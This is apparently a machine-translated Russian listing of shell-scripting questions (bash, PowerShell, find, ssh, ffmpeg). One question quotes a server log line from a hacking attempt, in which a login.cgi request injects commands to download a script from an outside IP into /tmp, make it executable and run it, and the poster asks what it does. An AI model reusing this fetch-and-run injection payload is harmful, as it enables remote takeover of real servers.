Новые вопросы с тегом «shell-script»
Всего найдено 1108 вопросов
0
голосов
1
ответ
499
просмотров
Как автоматически заблокировать (Win + L) компьютер, если кабель Ethernet удален или пропал сигнал Ethernet
Я хочу, чтобы моя система автоматически блокировалась всякий раз, когда я отсоединяю кабель Ethernet, или мои сигналы локальной сети падают. Любой сценарий PowerShell или любая идея службы я могу запустить? Я использую Windows 7 и Windows 10.
спросил user968737 5 лет назад
1
голосов
1
ответ
378
просмотров
Как правильно обрабатывать расширение .js в bash-скрипте?
У меня есть следующий скрипт bash. while IFS= read -r filename; do [[ $(md5 path/to/"$filename-orig") = $(md5 path/to/"$filename") ]] || echo $filename differs; done < path/to/list-of-files-to-compare.txt Предполагается сравнить два файла (вычисляя их хэш-дайджест MD5), а затем сообщить, отличаю...
спросил Mowzer 5 лет назад
0
голосов
1
ответ
407
просмотров
Перезапустить при проверке сценария сбоя
Я пытаюсь создать сценарий оболочки, который проверяет, запущены ли 2 разных процесса, и перезапускает их, если они не запущены. Я просто хочу, чтобы все было просто. Это правильный путь, потому что не похоже, что вторая часть работает ... trap "exit" SIGINT while true : do ./stream.sh echo "Stream...
спросил Orophix 5 лет назад
0
голосов
0
ответов
379
просмотров
как молча скопировать открытый ключ, используя ssh-copy-id
Я копирую свой открытый ключ на другую машину, используя ssh-copy-id. $ sudo ssh-copy-id -i /home/vagrant/.ssh/id_rsa.pub vagrant@datanode1.com /bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/vagrant/.ssh/id_rsa.pub" The authenticity of host 'datanode1.com (192.168.10.34)' can't be...
спросил Rajkumar Natarajan 5 лет назад
0
голосов
0
ответов
321
просмотр
обновить значение свойства PasswordAuthentication как yes в / etc / ssh / sshd_config в автоматическом режиме
Я хочу обновить файл / etc / ssh / sshd_config с PasswordAuthentication как да. Я могу сделать это с помощью viредактора. Можно ли сделать то же самое тихо с командой Unix.
спросил Rajkumar Natarajan 5 лет назад
0
голосов
1
ответ
301
просмотр
Linux находит команды для отображения файлов старше 7 дней - без использования метки времени
есть процесс, который создает файлы каждые полчаса. Я хочу удалить файлы старше 7 дней. Но когда я запускаю эту команду, она удаляет файл старше семи дней из текущей метки времени запуска, но я не хочу удалять по метке времени, я просто хочу удалить все файлы, созданные в этот день или раньше. Коман...
спросил Aditya 6 лет назад
2
голосов
1
ответ
475
просмотров
Поиск завершается неудачно с «Too Many Arguments» в Shell Script, но не при запуске непосредственно в терминале
У меня есть рабочая станция, которая временно хранит изображения перед загрузкой сжатых версий на сервер для безопасного хранения. У меня есть интерес к удалению старых файлов один раз в день в 3 часа ночи, используя сценарий, запланированный через launchd. #!/bin/bash find /some/directory/with/pict...
спросил Nestarion 6 лет назад
0
голосов
0
ответов
342
просмотра
Как запустить Shell Script в Windows с виртуальной средой?
Я создал виртуальную среду в моей системе с каталогом под названием virt_env. Я установил необходимые скрипты Python. Теперь я хочу запустить .shскрипт из той же виртуальной среды. Если я следую этому в системе на основе Linux, я могу просто запустить ./shell_script.sh. Но в окнах я должен использов...
спросил Mohamed Thasin ah 6 лет назад
0
голосов
0
ответов
388
просмотров
Как мне заставить эту простую команду ffmpeg работать в Automator?
У меня проблемы с получением простого сценария оболочки Automator для работы. Я пытаюсь получить командную строку ffmpeg для запуска задачи над файлом, который перетащен на значок приложения. Вот что я сделал: Запустить Automator.app Создан новый сервис с сервисом получения файлов или папок в любом...
спросил Myles 6 лет назад
3
голосов
1
ответ
357
просмотров
Используйте параметры в скрипте bash, используя curl
Я создаю сценарий, который делает запрос curl на предопределенный сайт. К сожалению, скрипт находит 3 параметра, но curl не работает должным образом. В чем проблема? Вот моя попытка. random="$(cat something.txt)" echo "ID: $ - File: $1 - Var: $2 - Cookie: $3" url="$(curl -i -L -X POST --cookie 'info...
спросил Timmy 6 лет назад
0
голосов
1
ответ
458
просмотров
Bash скрипт должен конвертировать строку в дату
Здравствуйте, у меня есть скрипт bash для проверки целостности резервных копий. Мне нужно отредактировать его, так как я должен предупредить меня, когда самая старая резервная копия более 60 дней (когда мы ее удаляем). Теперь дата извлекается из другого файла OLDEST_DATE=`cat /tmp/B_BACKUP_TMP.out...
спросил stefzeer 6 лет назад
0
голосов
1
ответ
360
просмотров
Автоматизируйте процесс, используя скрипт bash
У меня есть клиентский процесс unimrcp (ucp), и я хочу создать несколько ucp, используя скрипт оболочки. Всякий раз, когда я порождаю UCP, он возвращает командную строку, с помощью которой я могу получить доступ к различным функциям в UCP. Итак, я хочу написать сценарий, который достигает следующего...
спросил sbhatt 6 лет назад
0
голосов
1
ответ
434
просмотра
Как повторить символ N раз с printf
У меня есть функция, которая передает строку. Я хочу, чтобы эта функция дополняла эту строку *строкой. Допустим, я передаю, foo barя хочу напечатать что-то вроде *************** *** foo bar *** *************** Я сталкиваюсь с проблемами при оценке длины строки и использую это с printf. Вот что я по...
спросил LouieV 6 лет назад
0
голосов
3
ответа
471
просмотр
Как отобразить цветной текст в терминале?
Я хочу отображать цветной текст в терминале (оболочка bash). Пробовал с таким подходом: echo -e "\e[1;31m This is red text \e[0m" Но это не меняет цвет текста на красный.
спросил Arin 6 лет назад
0
голосов
1
ответ
353
просмотра
Как найти и распаковать файлы, затем удалить их
Мне нужно найти файлы старше 30 дней, распаковать их, сжать и удалить те, которые я уже распаковал и сжал. Я пытался выполнить что-то вроде этого, но это не похоже на его работу find /u01/oracle/files -mtime +30 -exec tar -czvf filename_$(date +%Y-%m-%d).tar.gz /u01/oracle/files {} \;
спросил R_Mat 6 лет назад
-1
голосов
1
ответ
415
просмотров
find и grep выдают разные выходные данные, если выполняются из файла скрипта или командной строки
Я использую эти команды для поиска в нескольких PDF-файлах, учитывая путь к файлу: >>find /home/ad0x/Documents/Skola/Flervariabel/Tentor -name '*.pdf' -exec sh -c 'pdftotext "{}" - | grep --with-filename --label="{}" --color "phrase"' \; Где phraseтермин, который вы хотите найти в PDF-файлах....
спросил ad0x 6 лет назад
0
голосов
0
ответов
326
просмотров
Pashua Mac не позволит мне выровнять изображение поверх поля ввода. Я пробовал разные варианты, но безрезультатно
Недавно я начал играть с Пашуа, но, похоже, это доставляет мне некоторые неприятности. В настоящее время я использую это для сценария оболочки (Bash) и отредактировал файл примера, чтобы приблизиться к желаемым результатам, но пока не достиг. Я заметил несколько вещей. У Pashua есть файл с именем «P...
спросил James Dean 6 лет назад
0
голосов
2
ответа
395
просмотров
Проходить по каталогам по заданному пути, пока не будет достигнут существующий каталог
У меня есть неизвестный путь, указанный пользователем, где я хотел бы создать файл. Поскольку у меня нет разрешений на запись, мне нужно найти первый существующий каталог в пути, идущем изнутри наружу, и проверить наличие разрешений на запись. Например foo/moo/doo я пробовал for d in "$dirpath"/ ;...
спросил Jocky Doe 6 лет назад
1
голосов
1
ответ
353
просмотра
Сценарии оболочки: изменить ширину страницы PDF?
У меня есть отсканированный файл PDF, где разные страницы имеют разную ширину страницы из-за того, как PDF был объединен из нескольких источников. Это сбивает с толку зрителей. Есть ли инструмент командной строки, который может назначить всем страницам одинаковую ширину? Так как сканирование большое...
спросил kdb 6 лет назад
1
голосов
0
ответов
493
просмотра
sed: Как заменить переменную строку, если она найдена, или добавить в конец файла, если она не найдена?
Так что мой вопрос в значительной степени основан на связанном вопросе, но имеет одно ключевое отличие. В ответе дано: sed '/^FOOBAR=/;$;x}' infile Я сделал вариант, который работает для того, чтобы сделать FOOBAR переменной (например, имя программы, а затем поместить ее в цикл for, чтобы составить...
спросил Wade S 6 лет назад
0
голосов
2
ответа
425
просмотров
зацикливать (повторять) блокировку сценария до получения успешного пароля базы данных (mysql)
У меня есть следующая функция function executeMySql() { while IFS= read -p "$prompt" -r -s -n 1 char do if [[ $char == $'\0' ]]; then break fi if [[ $char == $'\177' ]]; then prompt=$'\b \b' password="$" else prompt='*' password+="$char" fi done mysql -u root -p$password -e "$1" ret=$? if [ $ret =...
спросил Jocky Doe 6 лет назад
0
голосов
1
ответ
442
просмотра
функция bash с параметрами, которые нельзя использовать с eval в Msys2
Я использую Msys2 из PortableApps под Win 10. Ответ на этот вопрос (т. Е. Определение и решение проблемы) может быть связан с частью использования Unix / Linux или с его «адаптацией» к Windows через Msys2. Я не знаю этого заранее (в противном случае, я бы, вероятно, решил это сам!), Поэтому я ранее...
спросил sancho.s 6 лет назад
0
голосов
1
ответ
307
просмотров
Нужна помощь в получении информации с узлов HyperV с помощью Powershell
Ниже мой скрипт для получения информации. Я получаю OSStatus и время безотказной работы как пустым в выводе. Может кто-то Пожалуйста, помогите мне получить вывод с помощью «Get-VM | Select-Object -ExpandProperty NetworkAdapters» и укажите, какую ошибку я здесь делаю. $clus = Read-Host 'Enter the Clu...
спросил CuriousPiyush 6 лет назад
1
голосов
1
ответ
359
просмотров
Сценарий или команда, чтобы проверить, использовал ли пользователь пароль для входа в систему Windows
Есть ли способ проверить, использует ли пользователь пароль для входа в свой блокнот или какой-либо другой метод аутентификации? Я бы предпочел сделать это с помощью сценария. И, возможно, кто-то использовал glpi.
спросил AleksandrB 6 лет назад
0
голосов
1
ответ
285
просмотров
Как выполнить файл .sh (raspberrypi), который присутствует в другой папке
Имя файла Sh: runme.sh Путь:/home/pi-bridger/ Я хочу запустить скрипт .sh, который находится под /home/pi-bridger/. Я могу запустить его внутри папки с помощью команды ./runme.sh. Я хочу запустить скрипт из любой другой папки, просто вызвав его.
спросил Raghav venkat 6 лет назад
0
голосов
1
ответ
600
просмотров
sudo su с паролем, предоставленным в jenkins?
Я застрял с одним требованием, в котором я переключаюсь на какого-то пользователя «ххх», и он каждый раз запрашивает пароль. Я пытаюсь автоматизировать этот процесс с помощью пароля, жестко заданного в задании Дженкинса. пример: sudo su - пароль "xxx" должен быть указан в задании Jenkins Кто-нибудь...
спросил sp_devops 6 лет назад
2
голосов
2
ответа
500
просмотров
Разбудить компьютер через Интернет, используя другой компьютер в той же локальной сети
У меня есть два компьютера на базе Arch Linux, «A» и «B», подключенные к Интернету через один и тот же маршрутизатор. Я настроил и протестировал Wake-on-WAN на обоих из них. Оба компьютера выключены большую часть времени. Я хотел бы подключиться к ним, не отправляя волшебные пакеты извне. Сетевая ка...
спросил ivanp7 6 лет назад
30
голосов
2
ответа
4019
просмотров
Что делает этот скрипт bash? [Попытка взлома]
В последнее время я замечал на своих серверах логи apache, следующие странные строки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Поэтому я создал со...
спросил ndom91 6 лет назад
1
голосов
0
ответов
347
просмотров
Как определить, какой тип содержимого в буфере обмена находится в macOS?
Я работаю над макросом Keyboard Maestro, чтобы сохранить содержимое буфера обмена на жестком диске, а затем передать файл в Yoink: Поскольку в буфер обмена будет помещено множество видов контента, например, PNG, JPG, TXT, RTFD и т. Д. Я знаю, что должен определить тип контента. Тогда я придумаю усл...
спросил Oscar Gong 6 лет назад
1
голосов
1
ответ
383
просмотра
Как извлечь несколько URL-адресов из строки?
У меня есть строка, как показано ниже https://website.com/BTAE/2015/BTAE назначение jan 15.pdf²0ÔË '\ „QI„ “ÙP¾ ^ ŒŸZ ‡ @ Æ *] Ü. ^‚ vðƒ € Ù¾ »©š © Šñ' € é • ªÂIR # œÉgÉÛ ^ gMdÉ% 9¬e˜Hžôb¿'0 <î © ˜ô? lþzk… ÃÃÃórÈ; EW¦K³1… ìì¶ZFžŠÒô * ÄÖ \ ã] »' Вернуть ~ D & W :: Send {+} Вернуть ~ D & S...
спросил Aabir Hussain 6 лет назад